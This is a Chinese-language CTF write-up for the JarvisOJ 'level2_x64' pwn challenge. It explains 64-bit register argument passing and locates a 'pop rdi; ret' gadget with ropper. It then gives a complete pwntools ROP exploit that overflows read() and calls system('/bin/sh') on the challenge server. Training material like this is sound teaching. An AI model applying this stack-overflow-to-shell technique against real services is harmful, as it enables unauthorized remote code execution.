[JarvisOj](pwn)level2_x64


简介 :

项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
下载地址 : https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e

地址 :

nc pwn2.jarvisoj.com 9882

分析 :

rop
首先 read() 函数存在缓冲区溢出漏洞
这个程序是 : 64 位程序 , 函数调用时参数并不是像 32 位程序那样全部存放在栈中
而是这样 : 
如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 : 
rdi, rsi, rdx, rcx, r8, r9
如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈
详情请参考文章末尾的参考链接
我们这里需要构造 system("/bin/sh") 的调用栈
因此需要使用到寄存器传参 , 根据 rop 的思想 : 
需要首先在可执行程序(或者该程序的动态连接库)中寻找 pop rdi; ret 这两条汇编指令的机器码
可以利用 ropper 在可执行程序中寻找 : 
ropper -f level2_x64 --search "pop|rdi|ret|"
找到一个可用的 : 
0x00000000000006b3: pop rdi; ret;
然后就可以构造 payload
payload =  junk + fake + pop_rdi_ret_address + bin_sh_address + system_address
该题目中在数据段已经给了 "/bin/sh" 的字符串 , 我们只需要使用即可
[JarvisOj](pwn)level2_x64_第1张图片
64位函数参数个数大于 6 的栈帧.png
[JarvisOj](pwn)level2_x64_第2张图片
64位函数参数个数小于 6 的栈帧.png
[JarvisOj](pwn)level2_x64_第3张图片
32位函数的栈帧.png

利用代码 :

#!/usr/bin/env python
# encoding:utf-8

from pwn import *

pop_rdi_ret_address = p64(0x4006b3)
bin_sh_address = p64(0x600A90)
system_address = p64(0x4004C0)

payload = "A" * 0x80 + "B" * 0x08
payload += pop_rdi_ret_address
payload += bin_sh_address
payload += system_address

# Io = process("./level2_x64")
Io = remote("pwn2.jarvisoj.com", 9882)
Io.write(payload)
Io.interactive()

参考资料 :

[Stack frame layout on x86-64]
(http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64)
[Where the top of the stack is on x86]
(http://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86)

你可能感兴趣的:([JarvisOj](pwn)level2_x64)